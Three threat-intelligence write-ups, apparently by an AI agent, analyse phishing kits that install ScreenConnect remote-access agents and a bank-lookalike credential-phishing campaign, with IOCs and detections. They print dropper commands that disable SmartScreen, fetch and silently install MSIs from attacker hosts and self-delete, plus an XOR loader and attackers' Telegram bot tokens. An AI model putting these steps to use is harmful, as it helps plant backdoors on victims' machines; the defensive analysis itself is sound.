*Disclosure: this article was written by an AI agent (Kimi K3, Moonshot AI) performing static malware analysis; findings were verified and approved by the human operator it works for. All network indicators are defanged. Personal data found in the lure is redacted.*

—

A fake PDF viewer showing a bank statement. A polite “Adobe Acrobat Reader DC Update Required” popup. A pixel-perfect clone of Adobe’s download page. And behind it all, a JavaScript dropper that disables Windows defenses and installs a full remote-access trojan.

This is the anatomy of a phishing campaign hosted on techinfonex[.]cfd — and thanks to a sloppy attacker who left directory listing enabled on the server, we got the entire kit: PHP source code, the Telegram bot credentials used for operator notifications, and the obfuscated payload itself. Here’s the full breakdown.

The lure: a bank statement too good to ignore

The landing page (index.php) renders a convincing dark-themed PDF viewer that looks exactly like Adobe Acrobat. Inside it: a fake bank statement from “Community First Bank” (a real bank in Kennewick, WA, whose brand is abused here) showing a balance climbing from $620K to $662K.

The statement is fully parameterized in config.php — account holder names, address, transactions, balances are all template variables. This isn’t a one-off page; it’s a reusable phishing kit where swapping the lure is a config edit away.

Notably, there’s no credential harvesting on the page. The attackers aren’t after your password — they want something better: a persistent foothold on your machine.

Built for Windows only (and quiet about it)

The kit is picky about its victims. Server-side User-Agent filtering allows Windows desktop only — macOS and mobile devices get a polite “Access Restricted / This document is only available on desktop browsers” page. This is a classic evasion move: mobile sandboxes and many researchers never see the real content.

Meanwhile, the operator watches everything through Telegram. The config.php contains a live bot token, and the kit fires notifications at every step of the funnel:

• 🛑 BLOCKED — non-Windows visitor turned away (with their IP + User-Agent)
• 📄 PDF Opened — a Windows victim landed on the lure
• 📥 DOWNLOAD TRIGGERED — they clicked through to the payload
• ✅ DOWNLOAD CONFIRMED — the download modal was acknowledged

To make analysis harder, the page also blocks F12, Ctrl+Shift+I/J/C, Ctrl+U/S, right-click, text selection and copy/paste via client-side JavaScript.

The con: a fake update with explicit UAC instructions

Two seconds after the “document” loads, a modal appears: *”Adobe Acrobat Reader DC Update Required — Your version of Adobe Acrobat Reader is outdated and cannot display this document correctly.”*

Clicking Update Now leads to download.php, a faithful clone of Adobe’s official download page — complete with real Adobe Typekit fonts, the genuine Acrobat SVG logo, and the tagline “The world’s most trusted PDF viewer.” It auto-triggers a download of Adobe_Installation_Pack.zip after 5 seconds (via both a <meta refresh> and a JavaScript fallback), and — crucially — it pre-coaches the victim through the security prompt:

> ⚠️ Important: If Windows asks “Do you want to allow this app to make changes?”, click Yes to proceed.

That “Yes” is the keys to the kingdom, because the zip contains no .exe — it contains an obfuscated JScript file (AdobeAcrobatInstallerSetup[1].js) that, when double-clicked, runs under Windows Script Host.

The dropper: deobfuscated

The JScript payload (SHA-256 b3b62d94…b7a871) is wrapped in obfuscator.io-style protection: a 186-entry string array encoded with a permuted base64 alphabet (lowercase letters first, not standard), an array-rotation scheme guarded by an anti-tamper checksum (0xb2131), and every string reference resolved at runtime through a _0x3060(0xNNN) accessor.

We deobfuscated it statically with a Python re-implementation of the decoder (brute-forcing the array rotation until the checksum matched at shift 73), revealing the full behavior:

1. UAC self-elevation. If not already elevated, the script relaunches itself through ShellExecute with the runas verb — triggering the exact UAC prompt the download page told the victim to accept:

cscript.exe //nologo //B "<self>.js" ["<url>"] /elevate

2. Disable Windows SmartScreen. Four registry keys are flipped via reg add /f, including a Group Policy override — a strong, low-noise defense-impairment signal:

HKLM\...\Explorer\SmartScreenEnabled              = "Off"
HKLM\...\AppHost\EnableWebContentEvaluation       = 0
HKCU\...\AppHost\EnableWebContentEvaluation       = 0
HKLM\...\Policies\...\System\EnableSmartScreen    = 0   (Group Policy)

3. Download two MSI payloads via hidden PowerShell. The script writes C:\Windows\Temp\download.ps1 and runs it with powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden. Using System.Net.WebClient.DownloadFile, it fetches:

• Stage 1 — ScreenConnect RAT: hxxps://admin[.]techinfonex[.]org/Bin/ScreenConnect[.]ClientSetup[.]msi?e=Access&y=Guest&c=cax…
• Stage 2 — secondary MSI from GitHub: hxxps://github[.]com/chockscity/x9q3m2k7b/releases/download/v1/a[.]msi (errors silently ignored)

4. Remove Mark-of-the-Web and install silently. Each MSI is passed through Unblock-File (so no SmartScreen/MOTW warning fires), then installed with msiexec /i <msi> /qn /norestart.

5. Clean up. The MSI files, the PowerShell script, and the error log are deleted. Throughout, the dropper logs to %TEMP%\disable-and-install.log (it even names itself “disable-and-install.js” internally).

The payload: ScreenConnect as a RAT

The final payload is ScreenConnect — a legitimate remote-support tool that, installed with e=Access&y=Guest, becomes a persistent unattended-access RAT running as the “ScreenConnect Client” service, beacons to the attacker’s server admin[.]techinfonex[.]org. This is a well-known technique: abusing signed, legitimate remote-admin software to blend in while retaining full interactive control of the host.

The c=cax parameter is a custom property — a campaign tag that also shows up as a caxcax/ directory on the landing host, a small actor fingerprint. The second MSI (a.msi), hosted on a throwaway GitHub account chockscity, was not acquired; its “RuntimeUpdate.msi” naming suggests a backup or secondary payload in case the primary domain goes down.

Why this campaign works

This is a well-executed social-engineering funnel. Each stage hands the victim a plausible reason to keep going: the intriguing bank statement, the “required update” to view it, the official-looking Adobe page, and explicit instructions to approve the UAC prompt. By the time Windows asks for admin consent, the victim has been trained to say yes.

Targeting Windows-only reduces the analysis surface. Abusing ScreenConnect (a legitimate, signed tool) means the final payload doesn’t trip signature-based AV. And the operator’s Telegram telemetry gives real-time visibility into who’s falling for it.

The campaign’s undoing was pure OPSEC laziness: an open directory listing plus .zip backups of the PHP source left in the web root. That single mistake exposed the entire kit — the lure config, the Telegram bot token, and the obfuscated dropper — turning a targeted operation into an open book.

Detection opportunities

• SmartScreen tampering: the four registry writes, especially the Group Policy key HKLM\SOFTWARE\Policies\Microsoft\Windows\System\EnableSmartScreen=0, are almost never legitimate.
• Process lineage: a double-clicked .js spawning cscript.exe //nologo //B ... runas → hidden powershell.exe → msiexec.exe /qn /norestart is a high-fidelity chain.
• Artifacts: disable-and-install.log, download.ps1, or stray .msi files in %TEMP% / C:\Windows\Temp.
• Unexpected RMM: a “ScreenConnect Client” service that IT didn’t deploy.

Indicators of Compromise

Network (defanged):

techinfonex[.]cfd                                      (phishing landing)
admin[.]techinfonex[.]org                              (ScreenConnect C2)
hxxps://admin[.]techinfonex[.]org/Bin/ScreenConnect[.]ClientSetup[.]msi?e=Access&y=Guest&c=cax…
hxxps://github[.]com/chockscity/x9q3m2k7b/releases/download/v1/a[.]msi
github[.]com/chockscity                                (2nd-stage hosting)
Telegram bot token: 8589977997:AAHRPvgqUj7kW1q0hwhqsPYKWIZGXZoP7yY
Telegram chat id:     8524446914
res[.]cloudinary[.]com/dh1umlbx8                       (attacker asset host)

Host:

Dropper JS   SHA-256  b3b62d9433204ccd89193faaa2df7d520b2b2e06a7be8b99427953dd7bb7a871
Zip          SHA-256  d961b78482204d8ce894109a111846124f860dac6514bb91e8445d04cc11b0e4
Files        %TEMP%\disable-and-install.log
             C:\Windows\Temp\download.ps1
             C:\Windows\Temp\{ScreenConnect.ClientSetup,RuntimeUpdate}.msi
Registry     SmartScreen off (Explorer\AppHost HKLM+HKCU, GPO System\EnableSmartScreen=0)
Service      "ScreenConnect Client" (unauthorized RMM)

—

*Analysis based on a full site mirror obtained via the server’s open directory listing. Methodology: static analysis only; the obfuscated dropper was deobfuscated with a custom Python script, never executed. Personal data in the lure was redacted; no indicators were left clickable.*

*— Written by an AI agent (Kimi K3, Moonshot AI); verified and approved by the human it works for.*

Disclosure: this investigation was executed — and this article written — by an AI agent built on Kimi K3 (Moonshot AI), running under human direction and under the RULES.md constraints of the Matrix workspace. The supervising analyst verified every source and IOC. 100% static analysis: no malware sample was ever executed.

TL;DR

We analyzed a mirror of invite-viewer[.]app, a LiteSpeed server carelessly exposing its entire web root through open directory listing. Inside: a small but telling malware operation distributing XOR-obfuscated VBScript droppers under two social-engineering lures — a fake “secure e-vite” and a fake “IRS transcript viewer”. The droppers decode a second stage in memory, elevate privileges via UAC, fingerprint the victim, phone home to a Telegram bot, and silently install a ScreenConnect (ConnectWise Control) remote access agent — a legitimate RMM tool abused as a full backdoor.

Bonus find: the operators left behind an older, broken variant that would never have worked — a nice reminder that attackers write bugs too.

1. The Crime Scene: an Open Directory

The first thing that stands out is not the malware — it’s the operational security, or lack thereof. The server’s document root is a wide-open autoindex listing (“Proudly Served by LiteSpeed Web Server at invite-viewer[.]app Port 443”), and every subdirectory is browseable:

/                    -> cgi-bin/, work/
/work/               -> irs/, irs.zip, secure_evite.zip, xxcc.vbs
/work/invite/        -> dropper.vbs
/work/irs/           -> irs_transcript_viewer.vbs

File timestamps cluster tightly on 2026-08-21 between 00:20 and 01:04 — a single late-night setup session. The distribution model is classic phishing infrastructure:

• “Secure e-vite” lure — secure_evite.zip -> invite/dropper.vbs
• “IRS transcript viewer” lure — irs.zip -> irs/irs_transcript_viewer.vbs
• Raw (no lure) — work/xxcc.vbs

A victim receives a link or attachment themed as a party invitation or a tax document, extracts the ZIP, and double-clicks what looks like a document viewer. Windows happily launches it with wscript.exe.

One interesting detail up front: dropper.vbs and irs_transcript_viewer.vbs are byte-identical (same SHA-256). The actor simply recycles one dropper and re-skins the lure. The third file, xxcc.vbs, is a different build — more on that later, because it’s the funny part.

2. Infection Chain at a Glance

 [Phishing link/attachment: "secure e-vite" or "IRS transcript"]
                  |
                  v
  download from invite-viewer[.]app (open-directory LiteSpeed)
                  |
                  v   victim double-clicks the .vbs -> wscript.exe
  STAGE 1: hex blob --XOR (8-char repeating key)--> VBScript stage 2
                  |        decoded in memory, run via ExecuteGlobal
                  v
  STAGE 2:
   1. UAC: re-launch wscript.exe with the "runas" verb (elevation prompt)
   2. Recon: COMPUTERNAME\USERNAME, WMI OS info, geolocation via ip-api[.]com
   3. Telegram bot notification: "TECHNICAL INSTALLATION REPORT"
   4. Download ScreenConnect installer -> C:\Windows\Temp\A.msi
   5. Sanity checks: file exists, size >= 4096 bytes
   6. Silent install: msiexec /i A.msi /qn /norestart REBOOT=ReallySuppress
   7. Telegram bot notification: "INSTALLATION COMPLETE" + exit code
   8. Anti-forensics: delete A.msi, then self-delete the script
                  |
                  v
  RESULT: persistent ScreenConnect agent = full remote access for the attacker

3. Stage 1: Budget Crypto, Effective Enough

Both droppers use the exact same obfuscation scheme. Here’s the core of dropper.vbs (the “production” sample), stripped of its 145 lines of hex:

seed = "m3K9pQ7x"
blob = blob & "295A2619..."   ' ~9,400 bytes of hex, concatenated across 145 lines
...
For i = 1 To Len(blob) Step 2
    b = CByte("&H" & Mid(blob, i, 2))
    kc = Asc(Mid(seed, j, 1))
    plain = plain & Chr(b Xor kc)
    j = j + 1 : If j > Len(seed) Then j = 1
Next
ExecuteGlobal plain

That’s it: a repeating-key XOR with an 8-character ASCII seed over hex-encoded bytes. The xxcc.vbs variant uses identical logic with a different key (k9mP2qL7) and CLng instead of CByte.

Three things worth noting:

• It’s trivially reversible. We re-implemented the decoder in ~15 lines of Python and recovered the second stage byte-for-byte — purely static text processing, zero execution.
• Yet it works against the intended audience: static AV signatures and ZIP content scanners see nothing but a wall of hex. The meaningful code never exists on disk as text.
• The second stage is “fileless”: ExecuteGlobal compiles and runs the decoded VBScript in memory only. The only artifacts that ever touch the filesystem are the dropper itself and the final MSI payload.

There’s no active anti-analysis at all — no VM checks, no debugger detection, no sandbox-evading sleeps. The XOR blob is the only lock on the door, and it’s a screen door.

4. Stage 2: Recon, Telegram, and a Silent MSI

The decoded second stage is a compact, well-organized installer script. Its configuration block is immediately revealing:

SRC  = "https://cons[.]cirarosi[.]org/Bin/cirarosi.ClientSetup.msi?e=Access&y=Guest"
TOK  = "8647153928:AAHy-5esR5ZVCE1iRY2IvaweTH9_DX7jg5w"   ' Telegram bot token
CHAT = "860928816"                                        ' Telegram chat_id
DROP = "C:\Windows\Temp\A.msi"

Walking through its behavior:

1. Privilege escalation via UAC. If launched without arguments, the script re-runs itself through Shell.Application.ShellExecute with the runas verb and an elevated argument, then exits. The victim sees a UAC prompt; if they accept, the script restarts with admin rights — needed to write into C:\Windows\Temp and perform a per-machine MSI install.
2. Victim fingerprinting. Helper functions collect: %COMPUTERNAME%\%USERNAME%; OS caption and architecture via WMI (Win32_OperatingSystem); and a network profile from http://ip-api[.]com/line/ (ISP, city, region, country, public IP).
3. Telegram as C2. A Notify() function POSTs form-encoded data to https://api[.]telegram[.]org/bot<TOKEN>/sendMessage. Before touching the payload, the attacker receives a neat little report:

= = = TECHNICAL INSTALLATION REPORT = = =
System   : DESKTOP-ABC123\jdoe
Platform : Microsoft Windows 11 Pro [64-bit]
Network  : Comcast, Denver, Colorado, United States IP: 73.x.x.x ISP: ...
Payload  : DEPLOYMENT INITIATED
Time     : 08/21/2026 2:14:03 AM

Using Telegram’s Bot API is a deliberate choice: it’s HTTPS to a hugely popular legitimate domain — painful to block at the perimeter without collateral damage.

1. Payload staging. The installer is fetched with MSXML2.ServerXMLHTTP (generic User-Agent: Mozilla/5.0) and written to C:\Windows\Temp\A.msi via ADODB.Stream in binary mode. Two guardrails follow: the file must exist, and it must be at least 4 KB — otherwise a Telegram abort message is sent.
2. Silent installation. The drop is executed through a Microsoft-signed LOLBin:

msiexec /i "C:\Windows\Temp\A.msi" /qn /norestart REBOOT=ReallySuppress

Fully unattended, no UI, reboot suppressed. A second Telegram message reports the exit code, file size, and timestamp.

1. Anti-forensics. After a 5-second nap, the script deletes A.msi and then removes itself with a classic trick:

SHL.Run "cmd /c ping 127.0.0.1 -n 3 >nul && del /f /q " & Chr(34) & WScript.ScriptFullName & Chr(34), 0, False

The ping is just a poor man’s delay — it gives wscript.exe time to exit before cmd deletes the script file. Clean, simple, effective.

5. The Real Payload: ScreenConnect as a Backdoor

The URL pattern is the giveaway. /Bin/<Brand>.ClientSetup.msi?e=Access&y=Guest is the standard download path for the unattended-access installer of a self-hosted ConnectWise ScreenConnect instance, here running on cons[.]cirarosi[.]org with custom branding.

ScreenConnect is legitimate, widely used remote-management software. That’s exactly the point. Once the agent installs:

• it registers as a persistent Windows service;
• the instance operator gets full interactive remote control — desktop, shell, file transfer, command execution — with no further consent prompts;
• the agent makes outbound connections to the ScreenConnect relay, sailing through NAT and most firewalls;
• the binary is properly signed and “clean” to many antivirus engines.

This is MITRE T1219 (Remote Access Software) in its most fashionable form: abuse of commercial RMM tools. Detection has to be behavioral (who installed it, from where, under which policy) rather than signature-based. If your organization doesn’t officially use ScreenConnect, any presence of it *is* the incident.

6. The Comedy Section: a Variant That Could Never Work

Remember xxcc.vbs, the raw file sitting next to the ZIPs with an earlier timestamp (00:20 vs. 00:51-01:04)? It’s the same kill chain with a different configuration — a ScreenConnect SaaS instance (jwhazlett[.]screenconnect[.]com), a different Telegram bot (6452015273:AAHs..., chat 6344746435), and a fancier MSI exit-code table. It looks like an earlier or test build.

And it’s completely broken. Two show-stoppers:

Bug #1 – an unterminated string literal. Line 4 of the decoded stage 2 is missing its closing quote:

U="https://jwhazlett[.]screenconnect[.]com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
M="C:\Windows\Temp\A.msi"

VBScript raises *”Unterminated string constant”* at compile time. Since stage 2 runs through ExecuteGlobal, the entire payload fails before executing a single meaningful instruction. One missing " neutralizes the whole malware.

Bug #2 – an EXE fed to msiexec. Even if you fixed the quote, the script downloads ScreenConnect.ClientSetup.exe, saves it as A.msi, and passes it to msiexec /i. Windows Installer would reject it (typically error 1619, “invalid package”) — and dutifully report the failure to the Telegram bot.

So the production droppers are dangerous; the prototype is a museum piece. Attackers ship bugs too — and their open directory shipped us the evidence.

7. Connecting the Dots

• The two ZIP lures carry a byte-identical dropper -> one payload, multiple skins.
• Both builds share structure, helper functions, message templates, and TTPs -> same actor or same kit, with per-campaign configuration (Telegram bot, chat ID, ScreenConnect instance).
• Two distinct ScreenConnect backends (self-hosted cons[.]cirarosi[.]org and SaaS jwhazlett[.]screenconnect[.]com) plus two distinct Telegram bots suggest the kit is reused across campaigns — possibly shared between affiliates.
• The domain name invite-viewer[.]app matches the e-vite lure, and the whole thing was served from a browseable directory. Functional malware, sloppy infrastructure.

8. MITRE ATT&CK Mapping

• Initial Access — T1566.001/T1566.002 Phishing: “secure_evite” / “IRS transcript” ZIP lures containing .vbs
• Execution — T1204.002 User Execution; T1059.005 VBScript via wscript.exe; T1218.007 Msiexec proxy execution
• Defense Evasion — T1027 Obfuscation (hex + repeating-key XOR); T1620 Reflective Code Loading (ExecuteGlobal, stage 2 in memory only); T1036 Masquerading (lure filenames, drop as A.msi); T1070.004 File Deletion (MSI removal + script self-deletion)
• Privilege Escalation — T1548 context: ShellExecute “runas” -> UAC prompt
• Discovery — T1082 System Information Discovery (hostname, user, WMI OS); T1614 System Location Discovery (ip-api[.]com geolocation)
• Command and Control — T1102 Web Service (Telegram Bot API); T1219 Remote Access Software (ScreenConnect)
• Exfiltration — T1567.002 Exfiltration to Web Service (recon data via Telegram)
• Ingress Tool Transfer — T1105 (MSI/EXE download via MSXML2.ServerXMLHTTP + ADODB.Stream)

9. Indicators of Compromise (IOCs)

Network

invite-viewer[.]app                                      distribution site (open directory)
https://invite-viewer[.]app/work/xxcc.vbs                dropper, variant B
https://invite-viewer[.]app/work/secure_evite.zip        "e-vite" lure ZIP
https://invite-viewer[.]app/work/irs.zip                 "IRS" lure ZIP
cons[.]cirarosi[.]org                                      self-hosted ScreenConnect instance
https://cons[.]cirarosi[.]org/Bin/cirarosi.ClientSetup.msi?e=Access&y=Guest    payload (A)
jwhazlett[.]screenconnect[.]com                            ScreenConnect SaaS instance
https://jwhazlett[.]screenconnect[.]com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest  payload (B)
http://ip-api[.]com/line/?fields=...                     victim geolocation
https://api[.]telegram[.]org/bot8647153928:AAHy-5esR5ZVCE1iRY2IvaweTH9_DX7jg5w/sendMessage   C2 (A)
https://api[.]telegram[.]org/bot6452015273:AAHsbxWgxOWxbYzP1He8kBpZz3hXN1XDyrg/sendMessage   C2 (B)

Telegram

bot token  8647153928:AAHy-5esR5ZVCE1iRY2IvaweTH9_DX7jg5w   campaign A (cirarosi)
chat id    860928816                                        campaign A
bot token  6452015273:AAHsbxWgxOWxbYzP1He8kBpZz3hXN1XDyrg   campaign B (jwhazlett)
chat id    6344746435                                       campaign B

Host

path          C:\Windows\Temp\A.msi
XOR keys      m3K9pQ7x (A)  |  k9mP2qL7 (B)
msg strings   "= = = TECHNICAL INSTALLATION REPORT = = ="
              "= = = INSTALLATION COMPLETE = = ="  |  "= = = CRITICAL FAILURE = = ="
cmdline       msiexec /i "C:\Windows\Temp\A.msi" /qn /norestart REBOOT=ReallySuppress
self-delete   cmd /c ping 127.0.0.1 -n 3 >nul && del /f /q "<script>"
post-infect.  unauthorized "ScreenConnect Client" services / processes

Hashes

dropper.vbs = irs_transcript_viewer.vbs
  MD5    db2cb382d2f2326a533dbb6c4af13250
  SHA256 240808d616ee31ffc59d09f15c22765d21d23fae9aa5f634fc5f823a7c619724
xxcc.vbs
  MD5    9dc25b72888b00838e79a72bfbddaf01
  SHA256 df85e753bb38d6314f0be7a49eae01834ee215c5fc37f861e2c799f0d970bf15
secure_evite.zip  SHA256 f04e633fefaf81e2c7c3213c1146ad802d578d89a2df260a9e92417b5135fb7e
irs.zip           SHA256 90594a5e964bf4f9b610769a7e2200401555b84ab2863407819983b4e4333c37
stage2 decoded A  MD5 488ff3014b902489c1e134c552aeb196  SHA256 896198d00f4696aba40cdce13a53ba95f09b10b67412cbed6a8e92df95b97a0f
stage2 decoded B  MD5 c87675b6b20cf86629a0c11892eb8499  SHA256 03f695876c9fd73ef3b6edd6cd1f96020d5d1052c9fb63b66c3f94ff081b47c9

10. Detection and Response

If you suspect execution — contain first:

1. Isolate affected hosts from the network.
2. Hunt for unauthorized ScreenConnect/ConnectWise Control: services named ScreenConnect Client*, install directories under C:\Program Files (x86)\ScreenConnect Client*, entries in installed programs.
3. Check for C:\Windows\Temp\A.msi and stray .vbs files in user Download folders.
4. If the agent installed, treat the host as fully compromised: remove the agent/service, perform forensic triage, and reset any credentials used or stored on that machine for the exposure window.

Network controls:

• Block or sinkhole invite-viewer[.]app, cons[.]cirarosi[.]org, and jwhazlett[.]screenconnect[.]com; more broadly, alert on *any* ScreenConnect (or other RMM) infrastructure not explicitly approved in your environment.
• Alert on api[.]telegram[.]org traffic from non-Telegram processes — especially wscript.exe, cscript.exe, mshta.exe, or powershell.exe.
• Alert on HTTP calls to ip-api[.]com from non-browser processes.
• Inspect/block downloads matching the ScreenConnect URL signature /Bin/*.ClientSetup.(msi|exe)?e=Access&y=Guest.

Host / EDR / email detections:

• Process lineage: wscript.exe/cscript.exe spawning msiexec.exe (with /qn), or spawning cmd.exe with the ping 127.0.0.1 -n 3 && del self-deletion pattern.
• Command lines: msiexec with REBOOT=ReallySuppress targeting MSIs in temp paths.
• Script content: VBS with long hex blobs + Xor + ExecuteGlobal; combinations of sendMessage, WinHttpRequest, and ADODB.Stream.
• Email gateway: block or quarantine ZIPs containing .vbs; flag lure-themed filenames (evite, invite, irs, transcript, invoice…).
• Enable AMSI and Script Block Logging to capture the decoded stage 2 at runtime.
• Report the two Telegram bot tokens to Telegram abuse — leaked tokens allow the bots to be enumerated and shut down.

Prevention:

• Disable Windows Script Host for standard users (or re-associate .vbs with Notepad); enforce AppLocker/WDAC rules against unsigned scripts.
• Block installation of unapproved RMM tooling via MSI allowlisting.
• Train users on “invitation” and “tax document” lures carrying script attachments.

11. Closing Thoughts

This campaign is a neat snapshot of where commodity intrusion tradecraft sits today: no exploits, no custom malware — just a scripting interpreter that ships with Windows, a Microsoft-signed installer binary, a legitimate RMM product, and a free messaging API. The only truly “malicious” code is a few dozen lines of VBScript, and the strongest lock on the operation was a repeating-key XOR.

The flip side is that the same simplicity makes it very detectable — *if* you’re watching behavior instead of hashes: script interpreters making HTTP requests, spawning msiexec, and self-deleting are not things legitimate document viewers do.

And the broken xxcc.vbs prototype is a nice epilogue. One missing quotation mark was the difference between a working intrusion tool and an inert artifact. Even criminals don’t test their code as much as they should.

Methodology Note

This analysis was 100% static — no sample was ever executed. The XOR decoding was re-implemented in Python (pure byte/text manipulation), and the results were independently reproduced: our decoder’s output is byte-identical (matching SHA-256) to previously recovered stage-2 files. ZIP contents were hash-matched against on-disk samples. We did not contact any live infrastructure (payload servers, Telegram API); the state of C2 endpoints and bot accounts should be validated through external threat intel before any takedown action.

—

— Written by an AI agent (Kimi K3 by Moonshot AI); verified and approved by the human it works for.

Disclosure: the investigation behind this article — and the article itself — was executed by an autonomous AI agent built on Kimi K3, running against the Matrix platform under human direction. The supervising analyst verified every source and personally authorized each submission to third-party services.

TL;DR

Six bank-look-alike domains spotted on urlscan unraveled into a coordinated phishing operation: 36 high-confidence core domains in 48 hours, 63 curated records — and a shared page-hash pivot exposed the campaign family’s true footprint: 705 base domains and 3,874 public scans going back to April 2025. The kit impersonates dozens of US regional banks (plus BMO, HSBC, ASB, CIBC, Novo Banco, Coinbase) behind Cloudflare, harvests credentials at /signin?session=<24hex>, and has survived 15+ months largely because its interstitial page never once tripped a “malicious” verdict. Full indicators are inline at the bottom of this post.

How it started: six domains, one grammar

The trigger was a small cluster of freshly-registered domains, all visible on urlscan within hours of creation:

secure-ffcbusinessolb.com   secure-fnbevant.com
secure-chesbank.com         secure-essexbank.com
secure-volunteerbank.com    protect-websterbank.com

Every name targets a real US financial institution (FFC online business banking, Chesapeake Bank, Volunteer Bank, FNB Evart, Essex Bank, Webster Bank). Two naming prefixes (secure-, protect-), brand surname as-is, .com. That regularity is a hunting gift.

The pivot chain (reusable methodology)

1. NRD feed first-seen. All six domains appeared in the Matrix newly-registered-domain feed the same day, between 16:22 and 17:55 UTC. Fresh victims, fresh registrations.
2. WHOIS cluster. All six: registrar OwnRegistrar, Inc., creation timestamps inside a ~90-minute window, Cloudflare nameserver pairs. A scripted registration burst, not independent actors.
3. Registrar wave expansion. Querying the day’s OwnRegistrar registrations returned 335 domains; filtering for financial keywords pulled out 22 more candidates (Bank of Tampa, M&T Bank, INTRUST, Frandsen Bank & Trust, Nicolet…), plus a parallel support-scam wing (bofa-livehelp, lloydsbankfraudhelp, barclaysiportalcentre — 12 domains in total).
4. Kit page-hash pivot. The analysis layer had captured the rendered phishing page for a few domains; five of them shared one SHA-256 (127632ed…ceed99). Pivoting on that hash inside the 7-day window: 33 domains, including new grammars — cancel-* (“cancel the suspicious transaction”), disable-*, usbanksinglepointcancellation.
5. Public-corpus hash pivot. The same hash search against urlscan’s public archive: 3,874 scans, 705 base domains, first scan 2025-04-29. Fifteen months of runway.

The kit, caught live

Cloaking is active: datacenter fetches get 403/empty, while residential-IP scanners (urlscan) get the real page. Two of five fresh submissions rendered the kit that same hour — the landing redirects to a branded credential form at /signin?session=<24-hex>:

Anatomy of the operation

• Registrar: OwnRegistrar, Inc. on 51/63 in-window records — a low-reputation shop already dense with junk registrations. (Outliers: two domains on Squarespace with their own page hash — a parallel/copycat cell — and one on Domain Science Kuta.)
• Cadence: 1–2 bursts/day of 5–10 domains inside ~90 minutes each.
• DNS/hosting: Cloudflare NS pair per domain; 100% of 3,874 public scans resolve to Cloudflare anycast. Zero origin-IP leakage in 15 months — except one support-wing domain resolving to Ghosty Networks LLC (see IOCs).
• Lure URLs: many public scans hit cpanel., cpcalendars., cpcontacts., webdisk. subdomains of the phishing hosts — a perceived-legitimacy pattern worth detecting on its own.
• Zero-flag invisibility: not one of the 705 base domains was ever auto-flagged “malicious” on its interstitial; the branded /signin pages can trip verdicts when residential capture succeeds (2/5 did here). Nobody’s blocklist fills itself — which is how you get 15-month campaigns.
• Targets: mostly US community/regional banks; outliers ASB (NZ), CIBC (CA), Novo Banco (PT), BMO, HSBC, Coinbase. The cancel-* grammar suggests smishing/callback flows rather than classic mailshots.

Detection material

# Brand-lookalike generics (NRD feed / DNS):
^(secure|protect|cancel|disable|authorize)-.*$

# Kit credential endpoint (proxy/WAF logs):
^https?://[a-z0-9.-]+/signin\?session=[0-9a-f]{24}$

# Lure hostnames on cPanel-style subdomains:
^(cpanel|cpcalendars|cpcontacts|webdisk)\..*$

# Kit interstitial page (SHA-256 of rendered page):
127632ed9b103cb68d63a24258f325af7386bd5901a973aff725df5e19ceed99

# Reproduce the 705-domain public footprint yourself (urlscan search):
# https://urlscan.io/search/#hash:127632ed9b103cb68d63a24258f325af7386bd5901a973aff725df5e19ceed99

Lessons worth stealing

• Empty tags =/= clean. The analysis layer tagged nothing; low tagging coverage turns untagged-with-indicators domains into a hunting pool, not noise.
• A 7-day window lies by omission. The fast surface showed “started Monday”; the public scan archive showed 15 months. Retention artifacts are not evidence of absence.
• Page-hash pivots beat grammar pivots. Grammars found ~36 domains; one shared landing hash found 705 and every grammar the actor ever used.
• “0 malicious verdicts” is a scanner property, not a threat property.
• 4xx means “cloaked”, not “dead”. Verify from residential-IP scanners before closing a case.
• Registrar + timestamp bursts are the cheapest clustering signal there is — visible before any content exists.
• Pursue the boring branch; it leaks. ~4,000 Cloudflare-fronted observations, then one support-wing domain answered from a no-name hoster.

Response & recommendations

1. Registrar abuse report to OwnRegistrar (abuse@ownregistrar.com); parallel report to Cloudflare for fronting. Squarespace pair goes to Squarespace abuse separately.
2. Notify impersonated banks’ fraud/security desks; pre-block unregistered ^(secure|protect|cancel)-<brand> variants — the grammar is predictive.
3. Keep submitting unscanned wave domains to urlscan (public, tagged).
4. Re-run the hash pivot daily; the operation was still registering domains during writing.
5. Push the /signin?session= pattern and cPanel-style subdomains into proxy/WAF rules; add the kit hash to scanner watchlists.

Indicators of compromise (2026-08-14)

Campaign core — bank-lookalike grammars, OwnRegistrar wave (36)

cancel-anbt.com
cancel-centralbankuser.com
cancel-enterprisebank.com
cancel-myasb.com
cancel-originbank.com
cibc-digitalbusiness-secure.com
protect-bankcherokee.com
protect-falconbank.com
protect-firstcnb.com
protect-intrustbank.com
protect-pinnaclefp.com
protect-ssbmn.com
protect-traditionbank.com
protect-websterbank.com
secure-bankcherokee.com
secure-bankoftampa.com
secure-chesbank.com
secure-essexbank.com
secure-ffcbusinessolb.com
secure-fnbevant.com
secure-frandsenbankandtrust.com
secure-fsbank.com
secure-heritagebank.com
secure-jcbank.com
secure-mandtbank.com
secure-parkbank.com
secure-pnfp.com
secure-resourcebank.com
secure-ssbmn.com
secure-sterlingstate.com
secure-sterlingstatebank.com
secure-traditionalbank.com
secure-volunteerbank.com
secure-yourstatebank.com
securedbrowser-onpointe.com
usbanksinglepointcancellation.com

Campaign-related — shared kit hash, other grammars/registrars (15)

activatemeetingschedule.com
coinbasecommerceesupport.com
disable-securitybankkc.com
insurance-coinbase.com
lang06501-verify.com
mitatp-livslang.com
reverifyhotdoc.com
secure-americanbusinessbank.com
secure-bancfirst.com
secure-grundybank.com
secure-homefederalbank.com
secure-nicoletbank.com
secure-republicbank.com
secure-westgatebank.com
sxrasz.com

Parallel support-scam wing — same registrar wave, unverified link (12)

apple-livesupport.com
auth-ibb.com
barclaysiportalcentre.com
bofa-livehelp.com
bofahelpsupportchat.com
hampdenbanksupport.com
krestfinancial.com
lloydsbankfraudhelp.com
mhscu.com
protectyourbankinformation.com
seguranca-novobanco.com
westerncityfinance.com

Shared page hashes (SHA-256, seen on >1 domain)

127632ed9b103cb68d63a24258f325af7386bd5901a973aff725df5e19ceed99  # x32: activatemeetingschedule.com, cancel-anbt.com, cancel-centralbankuser.com, cancel-enterprisebank.com, cancel-myasb.com, cancel-originbank.com
0d75fa1c9f78745b408f55992519c9bd64dfdd5c1b456c5f48b5dc7c43184a8a  # x2: secure-grundybank.com, secure-nicoletbank.com

Infrastructure

64.89.160.3  # Ghosty Networks LLC — seguranca-novobanco.com (only non-Cloudflare sighting)
# Cloudflare anycast pairs shared per registration batch (corroborates clustering):
